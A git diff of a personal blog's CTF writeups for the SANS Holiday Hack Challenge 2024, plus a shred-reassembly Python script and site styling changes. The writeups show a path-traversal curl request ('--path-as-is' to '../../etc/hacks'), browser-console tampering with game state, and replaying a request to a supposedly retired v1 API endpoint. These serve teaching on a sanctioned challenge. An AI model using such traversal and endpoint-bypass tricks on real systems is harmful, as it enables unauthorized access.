# pip install brainfuck-interpreter
@ -1065,7 +1065,7 @@ flag = brainfuck.evaluate(brainfuck_code)
print(flag)
```
{{< /code >}}
{{< /collapsible-block >}}
## Solution

@ -42,7 +42,7 @@ Nowak is very impressed by your skills. You and him sit down by a table, and you
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/7/attachment.zip)
{{< code language="python" title="chall.py" isCollapsed="true" >}}
{{< collapsible-block badge="python" title="chall.py" isCollapsed="true" class="tight" >}}
```py
from Crypto.Util.number import *
@ -63,7 +63,7 @@ print(n)
#21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477
```
{{< /code >}}
{{< /collapsible-block >}}
## Recon

@ -3,7 +3,7 @@ author = "Maik de Kruif"
title = "Curling"
subtitle = "Act 1 - SANS Holiday Hack Challenge 2024"
date = 2024-11-23T11:44:53+01:00
description = "In the fourth challenge of the Holiday Hack Challenge 2024, we'll explore how to use curl using the Linux manpages."
description = "In the Curling challenge, we join Bow Ninecandle to learn how to use the curl command for sending web requests. The silver tasks include sending basic requests, handling self-signed certificates, posting data, and more. Afterwards, we use our knowledge to solve extra tasks involving file paths and redirects, completing the challenge for the gold medal!"
cover = "img/writeups/holiday-hack-challenge/2024/act1/curling/cover.png"
tags = [
"Holiday Hack Challenge",
@ -26,31 +26,39 @@ If you want to play the challenge yourself, you can find it here:
## Story line
Let's start off by talking to Bow Ninecandle:
```txt
Well hello there! I'm Bow Ninecandle, bright as a twinkling star! Everyone's busy unpacking, but I've grown quite bored of that. Care to join me for a lovely game?
Oh Joy! Today, We're diving into something delightful: the curling challenge—without any ice, but plenty of sparkle!
No icy brooms here though! We're all about Curl, sending web requests from the command line like magic messages.
So, have you ever wielded Curl before? If not, no worries at all, my friend!
It's this clever little tool that lets you whisper directly to web servers. Pretty neat, right?
Think of it like sending secret scrolls through the interwebs, awaiting a wise reply!
To begin, you can type something like curl https://example.com. Voilà! The HTML of the page appears, like conjuring a spell!
Simple enough, huh? But oh, there's a whole world of magic you can cast with Curl!
We're just brushing the surface here, but trust me—it’s a hoot and a half!
If you get tangled up or need help, just give me a shout! I’m here to help you ace this curling spectacle.
So, are you ready to curl those web requests like a pro? Let’s see your magic unfold!
```
Let's start off by talking to the elf:
> Well hello there! I'm Bow Ninecandle, bright as a twinkling star! Everyone's busy unpacking, but I've grown quite bored of that. Care to join me for a lovely game?
>
> Oh Joy! Today, We're diving into something delightful: the curling challenge—without any ice, but plenty of sparkle!
>
> No icy brooms here though! We're all about Curl, sending web requests from the command line like magic messages.
>
> So, have you ever wielded Curl before? If not, no worries at all, my friend!
>
> It's this clever little tool that lets you whisper directly to web servers. Pretty neat, right?
>
> Think of it like sending secret scrolls through the interwebs, awaiting a wise reply!
>
> To begin, you can type something like `curl https://example.com`. Voilà! The HTML of the page appears, like conjuring a spell!
>
> Simple enough, huh? But oh, there's a whole world of magic you can cast with Curl!
>
> We're just brushing the surface here, but trust me—it’s a hoot and a half!
>
> If you get tangled up or need help, just give me a shout! I’m here to help you ace this curling spectacle.
>
> So, are you ready to curl those web requests like a pro? Let’s see your magic unfold!
## Hints
{{< collapsible-block title="cURL Manual" isCollapsed="true" class="tight" >}}
The official [cURL man page](https://curl.se/docs/manpage.html) has tons of useful information on how to use cURL.
{{< /collapsible-block >}}
{{< collapsible-block title="cURL: Don't squash" isCollapsed="true" class="tight" >}}
Take a look at cURL's `--path-as-is` option; it controls a default behavior that you may not expect!
{{< /collapsible-block >}}
## Recon
@ -254,15 +262,13 @@ curl -k --path-as-is https://curlingfun:9090/../../etc/hacks
Let's first talk to the elf again, he'll tell us what we'll have to do for gold.
```txt
Bravo! Look at you, curling through that like a true web wizard!
You zipped through that challenge faster than a curling stone on enchanted ice!
> Bravo! Look at you, curling through that like a true web wizard!
>
> You zipped through that challenge faster than a curling stone on enchanted ice!
>
> You know... rumor has it you can breeze through this with just three commands. Why don’t you give it a whirl?
You know... rumor has it you can breeze through this with just three commands. Why don’t you give it a whirl?
```
### Task 1
### Experimenting
At first, I though we could just combine the previous commands in one, and solve it, but, alas, this was not the case...
@ -276,6 +282,8 @@ curl -k --path-as-is https://curlingfun:9090/../../etc/hacks
Curious as to what we needs to be done, we should explore further. Let's start by listing the files in the current directory. This turns out to be a good idea, as we find a file there; `HARD-MODE.txt`.
### Task 1
{{< figure src="/img/writeups/holiday-hack-challenge/2024/act1/curling/hard-mode.png" title="HARD-MODE.txt" >}}
Turns out we get some more steps to follow. We have already practiced all the things needed here with the silver one, so we can apply the knowledge gained there with this task.

@ -3,7 +3,7 @@ author = "Maik de Kruif"
title = "Frosty Keypad"
subtitle = "Act 1 - SANS Holiday Hack Challenge 2024"
date = 2024-11-24T18:23:54+01:00
description = "In the fourth challenge of the Holiday Hack Challenge 2024, we'll explore how to use curl using the Linux manpages."
description = "In this challenge, we help Morcel Nougat recover a shredded document by decoding clues from a book and using an old-school telephone keypad. After enabling a hidden flashlight, we script a solution to bypass rate limits and crack the final code, solving both the Silver and Gold challenges!"
cover = "img/writeups/holiday-hack-challenge/2024/act1/frosty-keypad/cover.png"
tags = [
"Holiday Hack Challenge",
@ -26,21 +26,33 @@ If you want to play the challenge yourself, you can find it here:
## Story line
Let's start off by talking to Morcel Nougat:
Let's start off by talking to the elf:
```txt
Hello again! I'm Morcel Nougat, dashing around like a reindeer on a sugar rush! We've got a bit of a dilemma, and I could really use your expertise.
Wombley and Alabaster have taken charge now that Santa’s gone missing, and We're scrambling to get the Wish List secured. But... one of the elves in the Data Management Team got overzealous, and the Shredder McShreddin 9000 gobbled up a crucial document we need to access Santa's chest!
> Hello again! I'm Morcel Nougat, dashing around like a reindeer on a sugar rush! We've got a bit of a dilemma, and I could really use your expertise.
>
> Wombley and Alabaster have taken charge now that Santa’s gone missing, and We're scrambling to get the Wish List secured. But... one of the elves in the Data Management Team got overzealous, and the Shredder McShreddin 9000 gobbled up a crucial document we need to access Santa's chest!
>
> It’s our golden ticket to getting Santa’s Little Helper tool working properly. Without it, the hardware hack we're planning is as empty as Santa’s sleigh in January.
>
> Think you can help? I can get you into the Shredder McShreddin 9000’s inner workings to retrieve the pieces, but there are two access codes involved. One of the elves left a hint, but it’s all a blur to me!
>
> I've noticed that some elves keep referring to a certain book when they walk by. I bet it has the answers we need to crack the code and recover the document!
>
> You know, some of the elves always have their noses in the same book when they pass by here. Maybe it’s got the clues we need to crack the code?
It’s our golden ticket to getting Santa’s Little Helper tool working properly. Without it, the hardware hack we're planning is as empty as Santa’s sleigh in January.
## Hints
Think you can help? I can get you into the Shredder McShreddin 9000’s inner workings to retrieve the pieces, but there are two access codes involved. One of the elves left a hint, but it’s all a blur to me!
{{< collapsible-block title="Just Some Light Reading" isCollapsed="true" class="tight" >}}
See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by...
{{< /collapsible-block >}}
I've noticed that some elves keep referring to a certain book when they walk by. I bet it has the answers we need to crack the code and recover the document!
{{< collapsible-block title="Shine Some Light on It" isCollapsed="true" class="tight" >}}
Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch...but...what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used...
{{< /collapsible-block >}}
You know, some of the elves always have their noses in the same book when they pass by here. Maybe it’s got the clues we need to crack the code?
```
{{< collapsible-block title="Who Are You Calling a Dorf?" isCollapsed="true" class="tight" >}}
Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a **National Treasure**!
{{< /collapsible-block >}}
## Recon
@ -97,11 +109,9 @@ Woohoo! We got the medal.
Let's first talk to the elf again, he'll tell us what we'll have to do for gold.
```txt
WOW, you did it! You know, they say Ottendorf ciphers were used back in the Frosty Archives crisis… or was that during the Jack Frost incident? Either way, you're amazing!
But wait—there’s still one more code tucked away! This one might need a bit more elbow grease… you may need to try a few combinations to crack it!
```
> WOW, you did it! You know, they say Ottendorf ciphers were used back in the Frosty Archives crisis… or was that during the Jack Frost incident? Either way, you're amazing!
>
> But wait—there’s still one more code tucked away! This one might need a bit more elbow grease… you may need to try a few combinations to crack it!
We also received a new item, but from reading the text we probably only need it for the hardware hacking challenge.

@ -0,0 +1,320 @@
+++
author = "Maik de Kruif"
title = "Hardware Hacking - Part 1"
subtitle = "Act 1 - SANS Holiday Hack Challenge 2024"
date = 2024-12-30T20:55:41+01:00
description = "In the Hardware Hacking challenge, we help Jewel Loggins fix Santa’s Little Helper tool by connecting to a UART interface. For silver, we wire correctly, enable developer mode via DevTools, reconstruct shredded notes with Python, and input the right settings. For gold, we explore the game’s API and use a modified curl request to access a hidden endpoint, bypassing hardware to secure the gold medal!"
cover = "img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/cover.png"
tags = [
"Holiday Hack Challenge",
"ctf",
"hacking",
"writeup",
]
categories = [
"ctf",
"writeups",
"hacking",
]
+++
## Link
If you want to play the challenge yourself, you can find it here:
<https://2024.holidayhackchallenge.com/>
## Story line
Let's start off by talking to the elf:
> Hello there! I’m Jewel Loggins.
>
> I hate to trouble you, but I really need some help. Santa’s Little Helper tool isn’t working, and normally, Santa takes care of this… but with him missing, it’s all on me.
>
> I need to connect to the UART interface to get things running, but it’s like the device just refuses to respond every time I try.
>
> I've got all the right tools, but I must be overlooking something important. I've seen a few elves with similar setups, but everyone’s so busy preparing for Santa’s absence.
>
> If you could guide me through the connection process, I’d be beyond grateful. It’s critical because this interface controls access to our North Pole access cards!
>
> We used to have a note with the serial settings, but apparently, one of Wombley’s elves shredded it! You might want to check with Morcel Nougat—he might have a way to recover it.
## Hints
{{< collapsible-block title="On the Cutting Edge" isCollapsed="true" class="tight" >}}
Hey, I just caught wind of this neat way to piece back shredded paper! It's a fancy heuristic detection technique—sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: [heuristic_edge_detection.py](/files/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1/heuristic_edge_detection.py)."
{{< /collapsible-block >}}
<!-- [heuristic_edge_detection.py](https://gist.github.com/arnydo/5dc85343eca9b8eb98a0f157b9d4d719) -->
<!-- [heuristic_edge_detection.py](/files/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1/heuristic_edge_detection.py) -->
{{< collapsible-block title="Shredded to Pieces" isCollapsed="true" class="tight" >}}
Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?
{{< /collapsible-block >}}
## Recon
After clicking on the challenge, we'll get to see some instructions. If we click away the instructions, we'll also get to see some computer boards.
{{< figure src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/instructions.png" title="Instructions" >}}
{{< figure src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/overview.png" title="Overview" >}}
Upon clicking around, we also find that we can click on the buttons of the programmer (top right), and that the cables can be moved by clicking and dragging them to a connection point.
When we start moving the cables and connect them up, the console also shows a message when a correct connection is made. This should help us connect the programmer to the board.
## Silver
Let's start of by connection the wires. If we open the DevTools console, and start connecting a cable, we'll receive a message like `Connected v3 (uVcc) with j1f and j1m` when we make a correct connection. This makes it quite easy to find the right wiring, and in the end we get the message `All pinned up!`.
{{< figure class="small" src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/wiring.png" title="Wiring" >}}
If we now click the power (P) button, and then the start (S) button, we receive new messages:
{{< figure src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/wires-connected-messages.png" title="Connection start messages" >}}
It looks like more configuration is needed. Let's explore the code a bit. A good start might be near where these message are coming from. We can navigate there by clicking on the blue text at the end of the lines.
We end up being on the `checkConditions` function, and at the start of it, we find the following checks:
```js
async checkConditions() {
if ((this.uV === 3 && this.allConnectedUp && !this.usbIsAtOriginalPosition) || this.dev) {
// console.log("PARTY TIME");
let checkIt = await checkit(
[
this.currentPortIndex,
this.currentBaudIndex,
this.currentParityIndex,
this.currentDataIndex,
this.currentStopBitsIndex,
this.currentFlowControlIndex,
],
this.uV
);
// ...
}
}
```
It looks like we should set the voltage to 3v, connect all the wiring, connect the usb cable. That, or `dev` needs to be set to true. Afterwards, we also need to configure some other things, but we'll get back to that later.
Upon looking at the cabling again, I indeed found that I forgot to connect the USB cable. But, connecting the cable is boring, so let's enable dev mode, it might help us later.
If you've read my previous writeups, you know the drill by now. We first need to connect the DevTools to the iframe. We can do this by clicking on the dropdown menu next to the eye icon, and selecting the option starting with "hhc24-hardwarehacking". From here we can access the game's scene, and access it's properties. Next to the `dev` variable, let's also set `uV` while we're at it, since that is also passed to the `checkit` function.
```js
const scene = game.scene.scenes[0];
scene.dev = true;
scene.uV = 3;
```
If we click the start button now, a popup is shown:
{{< figure src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/connection-error.png" title="Connection error popup" >}}
Next, we can close the popup and take a look at the configuration. We open the config by clicking any of the arrow keys on the programmer.
{{< figure class="small" src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/programmer-config.png" title="Programmer configuration" >}}
There are too many possible combinations to use brute force, so we need to find a better way. Let's take another look at what the elf told us. The elf said: "We used to have a note with the serial settings, but apparently, one of Wombley’s elves shredded it!".
Thinking back of the previous challenge, we found [shredded pieces of paper behind the frosty keypad]({{% ref "writeups/holiday-hack-challenge/2024/act1/frosty-keypad.md#continued-story-line" %}}), perhaps we should be using those.
After downloading and extracting [shreds.zip](/files/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1/shreds.zip), we'll find it contains 1,000 slices of a picture. Initially, I had no clue how to combine them back together. But, if we go back to the hints, we find a reference to a script called heuristic_edge_detection.py.
<!-- [shreds.zip](https://holidayhackchallenge.com/2024/shreds.zip) -->
<!-- [shreds.zip](/files/writeups/holiday-hack-challenge/2024/act1/hardware-hacking-part1/shreds.zip) -->
{{< collapsible-block badge="py" title="heuristic_edge_detection.py" isCollapsed="true" >}}
```py
import os
import numpy as np
from PIL import Image
def load_images(folder):
images = []
filenames = sorted(os.listdir(folder))
for filename in filenames:
if filename.endswith(".png") or filename.endswith(".jpg"):
img = Image.open(os.path.join(folder, filename)).convert("RGB")
images.append(np.array(img))
return images
def calculate_difference(slice1, slice2):
# Calculate the sum of squared differences between the right edge of slice1 and the left edge of slice2
return np.sum((slice1[:, -1] - slice2[:, 0]) ** 2)
def find_best_match(slices):
n = len(slices)
matched_slices = [slices[0]]
slices.pop(0)
while slices:
last_slice = matched_slices[-1]
differences = [calculate_difference(last_slice, s) for s in slices]
best_match_index = np.argmin(differences)
matched_slices.append(slices.pop(best_match_index))
return matched_slices
def save_image(images, output_path):
heights, widths, _ = zip(*(i.shape for i in images))
total_width = sum(widths)
max_height = max(heights)
new_image = Image.new("RGB", (total_width, max_height))
x_offset = 0
for img in images:
pil_img = Image.fromarray(img)
new_image.paste(pil_img, (x_offset, 0))
x_offset += pil_img.width
new_image.save(output_path)
def main():
input_folder = "./slices"
output_path = "./assembled_image.png"
slices = load_images(input_folder)
matched_slices = find_best_match(slices)
save_image(matched_slices, output_path)
if __name__ == "__main__":
main()
```
{{< /collapsible-block >}}
Maybe this will recreate the correct image for us based on the edges. From reading the bottom part, it seems like we can just place it next to the `slices/` folder we extracted from the zip file and run it. Let's try that:
```sh
python heuristic_edge_detection.py
```
_Note: you might get an error message about missing Python packages, in that case, just Google how to install them on your OS._
The script takes a few seconds to run, but afterwards the following image is returned:
{{< figure class="small" src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/assembled-image.png" title="assembled_image.png" >}}
The image looks usable now, but there are still a few tweaks needed. It looks mirrored, but also the x-axis is a bit off. We can correct this easily using the PIL Python library (which is also used by heuristic_edge_detection.py). I wrote the following script for this:
```py
from PIL import Image, ImageOps
im = Image.open("assembled_image.png")
xsize, ysize = im.size
delta = 300 # amount to move x-axis
part1 = im.crop((0, 0, delta, ysize)) # take left part
part2 = im.crop((delta, 0, xsize, ysize)) # take right part
im.paste(part1, (xsize - delta, 0, xsize, ysize)) # paste the left part on the right
im.paste(part2, (0, 0, xsize - delta, ysize)) # paste the right part on the left
im = ImageOps.mirror(im) # mirror image
im.save("output.png")
```
Which, after running, yields the following resulting image:
{{< figure class="small" src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/final-image.png" title="output.png" >}}
We can now easily read the settings from the image, they are as follows:
| Name | Setting |
| ------------ | ------- |
| Port | USB0 |
| Baud Rate | 115200 |
| Parity | even |
| Data | 7 bit |
| Stop Bits | 1 bit |
| Flow Control | RTS |
If we then plug these settings into the programmer and click the start button, we get the following popup, and the silver medal!
{{< figure src="/img/writeups/holiday-hack-challenge/2024/act1/hardware-hacking/part1/silver.png" title="Completed silver" >}}
## Gold
### Continued story line
Let's first talk to the elf again, he'll tell us what we'll have to do for gold.
> Fantastic! You managed to connect to the UART interface—great work with those tricky wires! I couldn't figure it out myself…
>
> Rumor has it you might be able to bypass the hardware altogether for the gold medal. Why not see if you can find that shortcut?
### Exploration
The elf suggests that we should bypass the hardware completely. Let's explore the inner workings of the code a bit further.
Earlier when checking the `checkConditions` function in the code, we found references to `checkit`. Let's explore a bit further there.
If we navigate to `checkit`, we find some interesting comments.
```js
async function checkit(serial, uV) {
// ...
// Build the URL with the request ID as a query parameter
// Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.
// We have since updated the API to v2 and v1 "should" be removed by now.
// const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);
const url = new URL(
`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`
);
// ...
}
```
The mentions of V1 and the emphasis on "should" hint at the v1 endpoint still being active, so let's test that.
### Solving
We can find a valid request from before by navigating to the Network tab in the DevTools, and looking for the final request to "/complete". Once we've found it, we can right-click on the request, go to Copy, and click Copy as cURL.
This will copy a command to our clipboard, which we can modify and execute in a terminal. The command will look something like this:
```sh
curl 'https://hhc24-hardwarehacking.holidayhackchallenge.com/api/v2/complete' \
-H 'accept: */*' \
-H 'accept-language: en-US,en;q=0.9,nl-NL;q=0.8,nl;q=0.7' \
-H 'cache-control: no-cache' \
-H 'content-type: application/json' \
-H 'cookie: GCLB="#######"; _ga=GA###############' \
-H 'origin: https://hhc24-hardwarehacking.holidayhackchallenge.com' \
-H 'pragma: no-cache' \
-H 'priority: u=1, i' \
-H 'referer: https://hhc24-hardwarehacking.holidayhackchallenge.com/?&challenge=termHardwareHacking101A&#######################' \
-H 'sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Linux"' \
-H 'sec-fetch-dest: empty' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-site: same-origin' \
-H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' \
--data-raw '{"requestID":"YOUR REQUEST ID","serial":[3,9,2,2,0,3],"voltage":3}'
```
If we run the command as is, we would solve silver again. But let's follow the hints, and replace v2 with v1 in the url at the top. Optionally we can also remove the unnecessary headers, so the command will look like this:
```sh
curl 'https://hhc24-hardwarehacking.holidayhackchallenge.com/api/v1/complete' \
--data-raw '{"requestID":"YOUR REQUEST ID","serial":[3,9,2,2,0,3],"voltage":3}'
```
Once we run it, we receive the gold medal!

@ -3,7 +3,7 @@ author = "Maik de Kruif"
title = "Elf Connect"
subtitle = "Prologue - SANS Holiday Hack Challenge 2024"
date = 2024-11-21T14:23:34+01:00
description = "Let's play our first game of the Holiday Hack Challenge. To win, we'll have to use the DevTools to read some code, and figure out how the scoring mechanism works."
description = "In Elf Connect, we help Angel Candysalt solve a word-matching puzzle. After earning the silver medal by finding groups of related words, we dig into the game’s code using DevTools. By analyzing the scoring logic, we bypass the normal gameplay and directly trigger the gold medal with a simple code execution in the browser console!"
cover = "img/writeups/holiday-hack-challenge/2024/prologue/elf-connect/cover.png"
tags = [
"Holiday Hack Challenge",
@ -26,23 +26,33 @@ If you want to play the challenge yourself, you can find it here:
## Story line
Let's start off by talking to Angel Candysalt:
Let's start off by talking to the elf:
```txt
Welcome back, island adventurer! I'm Angel Candysalt — so happy to finally meet you!
> Welcome back, island adventurer! I'm Angel Candysalt — so happy to finally meet you!
>
> I'm thrilled you're here because I could really use a hand with something.
>
> Have you ever heard of a game called Connections?
>
> It’s simple! All you need to do is find groups of four related words.
>
> I've been stuck on it all day, and I'm sure someone as sharp as you will breeze > through it.
>
> Oh, and while you're at it, check out randomElf's score — they hit fifty thousand > points, which seems… oddly suspicious.
>
> Think they might have tampered with the game? Just a hunch!
I'm thrilled you're here because I could really use a hand with something.
## Hints
Have you ever heard of a game called Connections?
{{< collapsible-block title="Elf Connect Easy" isCollapsed="true" class="tight" >}}
I love brain games! This one is like the New York Times Connections game. Your goal here is to find groups of items that share something in common. Think of each group as having a hidden connection or theme—four items belong together, and there are multiple groups to find! See if you can spot patterns or common threads to make connections. Group all the items correctly to win!
{{< /collapsible-block >}}
It’s simple! All you need to do is find groups of four related words.
{{< collapsible-block title="Elf Connect Hard" isCollapsed="true" class="tight" >}}
WOW! A high score of 50,000 points! That’s way beyond the limit! With only four rounds and a max of 400 points per round, the top possible score should be 1,600 points. So, how did someone get to 50,000? Something unusual must be happening!
I've been stuck on it all day, and I'm sure someone as sharp as you will breeze through it.
Oh, and while you're at it, check out randomElf's score — they hit fifty thousand points, which seems… oddly suspicious.
Think they might have tampered with the game? Just a hunch!
```
If you're curious, you might want to check under the hood. Try opening the browser's developer tools console and looking around—there might even be a variable named 'score' that could give you some insights. Sometimes, games hold secrets for those who dig a little deeper. Give it a shot and see what you can discover!
{{< /collapsible-block >}}
## Recon
@ -98,7 +108,7 @@ Object.keys(wordSets).map((round) =>
This might look a little complicated, so let me explain it for you. We start by looping over `wordSets`, this contains all the words for a specific round. We then look at the correct sets, and map the four indices to the actual word in the list. If we execute this code, we get the following output:
{{< code language="json" title="Results" isCollapsed="true" >}}
{{< collapsible-block badge="json" title="Results" isCollapsed="true" >}}
```json
[
@ -129,7 +139,7 @@ This might look a little complicated, so let me explain it for you. We start by
]
```
{{< /code >}}
{{< /collapsible-block >}}
This just get us the correct answer though, and we'll need more for gold.

@ -3,7 +3,7 @@ author = "Maik de Kruif"
title = "Elf Minder"
subtitle = "Prologue - SANS Holiday Hack Challenge 2024"
date = 2024-11-21T15:18:53+01:00
description = "On to our second game of the Holiday Hack Challenge. This time we'll have to find some routes."
description = "In Elf Minder, we guide an elf through twelve levels of maze-like puzzles. Silver is straightforward; solve the puzzles normally. For gold, we inspect the game’s code with DevTools and find hidden admin controls. By enabling them, we can clear obstacles and draw a path directly to the finish. Alternatively, we manipulate springs to bounce the elf straight to the end. Both methods secure the gold medal!"
cover = "img/writeups/holiday-hack-challenge/2024/prologue/elf-minder/cover.png"
tags = [
"Holiday Hack Challenge",
@ -26,21 +26,33 @@ If you want to play the challenge yourself, you can find it here:
## Story line
Let's start off by talking to Poinsettia McMittens:
Let's start off by talking to the elf:
```txt
Center your mind, and become one with the island!
> Center your mind, and become one with the island!
>
> Relax...
>
> This isn't working! I'm trying to play this game but the whole "moving back to the North Pole" thing completely threw me off.
>
> Say, how about you give it a try. It's really simple. All you need to do is help the elf get to the exit.
>
> The faster you get there, the better your score!
>
> I've run into some weirdness with the springs though. If I had created this game it would've been a lot more stable, but I won't comment on that any further.
Relax...
## Hints
This isn't working! I'm trying to play this game but the whole "moving back to the North Pole" thing completely threw me off.
{{< collapsible-block title="Elf Minder 9000: TODO" isCollapsed="true" class="tight" >}}
When developing a video game—even a simple one—it's surprisingly easy to overlook an edge case in the game logic, which can lead to unexpected behavior.
{{< /collapsible-block >}}
Say, how about you give it a try. It's really simple. All you need to do is help the elf get to the exit.
{{< collapsible-block title="Elf Minder 9000: RTD (Read the Docs)" isCollapsed="true" class="tight" >}}
Be sure you read the "Help" section thoroughly! In doing so, you will learn how to use the tools necessary to safely guide your elf and collect all the crates.
{{< /collapsible-block >}}
The faster you get there, the better your score!
I've run into some weirdness with the springs though. If I had created this game it would've been a lot more stable, but I won't comment on that any further.
```
{{< collapsible-block title="Elf Minder 9000: Reusable Paths" isCollapsed="true" class="tight" >}}
Some levels will require you to click and rotate paths in order for your elf to collect all the crates.
{{< /collapsible-block >}}
## Recon
@ -113,7 +125,7 @@ From the hint given in the conversation with the elf Poinsettia, we got the foll
A good starting point here would be to first figure out how the springs work.
{{< code language="js" title="guide.js (getSpringTarget)" isCollapsed="true" >}}
{{< collapsible-block badge="js" title="guide.js (getSpringTarget)" isCollapsed="true" >}}
```js
getSpringTarget(springCell) {
@ -157,7 +169,7 @@ getSpringTarget(springCell) {
}
```
{{< /code >}}
{{< /collapsible-block >}}
In one of the source files, `guide.js`, there is a function called `getSpringTarget`. This function, as the name suggests, returns the location where the elf should go after encountering a spring.

@ -3,7 +3,7 @@ author = "Maik de Kruif"
title = "Holiday Hack Orientation"
subtitle = "Prologue - SANS Holiday Hack Challenge 2024"
date = 2024-11-21T13:46:55+01:00
description = "An easy start of the Holiday Hack Challenge 2024."
description = "In the Holiday Hack Orientation, we meet Jingle Ringford, who introduces us to the 2024 SANS Holiday Hack Challenge. Our first task is simple; enter the correct answer in the “First Terminal” to unlock the gold medal and begin the adventure!"
cover = "img/writeups/holiday-hack-challenge/2024/prologue/orientation/cover.png"
tags = [
"Holiday Hack Challenge",
@ -26,25 +26,29 @@ If you want to play the challenge yourself, you can find it here:
## Story line
Let's start off by talking to Jingle Ringford:
```txt
Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!
I'm Jingle Ringford, one of Santa's many elves.
...
Just kidding! It's actually the 2024 SANS Holiday Hack Challenge!
And although we're on Frosty's Beach on Christmas Island, we'll soon be on our way back to the North Pole.
I thought it best to wait here for people that heard we're on the Geese Islands but may not know we're leaving.
I haven't seen Santa since we started packing up, but he always asks me to give a quick orientation to newcomers, so I'm continuing the tradition.
Before you head out any further onto the island, you need to accomplish two simple tasks.
```
Let's start off by talking to the elf:
> Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!
>
> I'm Jingle Ringford, one of Santa's many elves.
>
> ...
>
> Just kidding! It's actually the 2024 SANS Holiday Hack Challenge!
>
> And although we're on Frosty's Beach on Christmas Island, we'll soon be on our way > back to the North Pole.
>
> I thought it best to wait here for people that heard we're on the Geese Islands but > may not know we're leaving.
>
> I haven't seen Santa since we started packing up, but he always asks me to give a > quick orientation to newcomers, so I'm continuing the tradition.
>
> Before you head out any further onto the island, you need to accomplish two simple > tasks.
>
> But first, here's a parting gift. I packed this snowball made of the magical, > never-melting snow of Christmas Island. A little souvenir to take with you when we > leave for the North Pole.
>
> Click on the snowball on your avatar. That's where you will see your Objectives, > Hints, resource links, and Conversations for the Holiday Hack Challenge.
>
> Now, click on the Cranberry Pi Terminal and follow the on-screen instructions.
## Solving

@ -0,0 +1,56 @@
import os
import numpy as np
from PIL import Image
def load_images(folder):
images = []
filenames = sorted(os.listdir(folder))
for filename in filenames:
if filename.endswith('.png') or filename.endswith('.jpg'):
img = Image.open(os.path.join(folder, filename)).convert('RGB')
images.append(np.array(img))
return images
def calculate_difference(slice1, slice2):
# Calculate the sum of squared differences between the right edge of slice1 and the left edge of slice2
return np.sum((slice1[:, -1] - slice2[:, 0]) ** 2)
def find_best_match(slices):
n = len(slices)
matched_slices = [slices[0]]
slices.pop(0)
while slices:
last_slice = matched_slices[-1]
differences = [calculate_difference(last_slice, s) for s in slices]
best_match_index = np.argmin(differences)
matched_slices.append(slices.pop(best_match_index))
return matched_slices
def save_image(images, output_path):
heights, widths, _ = zip(*(i.shape for i in images))
total_width = sum(widths)
max_height = max(heights)
new_image = Image.new('RGB', (total_width, max_height))
x_offset = 0
for img in images:
pil_img = Image.fromarray(img)
new_image.paste(pil_img, (x_offset, 0))
x_offset += pil_img.width
new_image.save(output_path)
def main():
input_folder = './slices'
output_path = './assembled_image.png'
slices = load_images(input_folder)
matched_slices = find_best_match(slices)
save_image(matched_slices, output_path)
if __name__ == '__main__':
main()

@ -35,7 +35,18 @@ window.addEventListener("load", () => {
heading.classList.add("article-heading");
anchor.addEventListener("click", (e) => {
e.preventDefault();
window.history.replaceState({}, "", anchor.href);
navigator.clipboard.writeText(anchor.href);
document
.querySelectorAll(".current-heading")
.forEach((elem) =>
elem.classList.remove("current-heading")
);
anchor.classList.add("current-heading");
});
}
}

@ -71,31 +71,3 @@ a.button {
padding: 14px 24px;
}
}
.code-toolbar {
margin-bottom: 20px;
.toolbar-item a {
position: relative;
display: inline-flex;
align-items: center;
justify-content: center;
padding: 3px 8px;
margin-bottom: 5px;
background: $light-background-secondary;
text-decoration: none;
text-align: center;
font-size: 13px;
font-weight: 500;
border-radius: 8px;
border: 1px solid transparent;
appearance: none;
cursor: pointer;
outline: none;
.dark-theme & {
background: $dark-background-secondary;
color: inherit;
}
}
}

@ -1,15 +1,18 @@
.collapsable-code {
.collapsible-block {
position: relative;
width: 100%;
margin: 40px 0;
margin: 30px 0;
&.tight {
margin: 15px 0;
}
input[type="checkbox"] {
position: absolute;
visibility: hidden;
}
.highlight,
.code-toolbar .highlight {
&__content {
max-height: 80vh;
overflow: auto;
@ -17,32 +20,46 @@
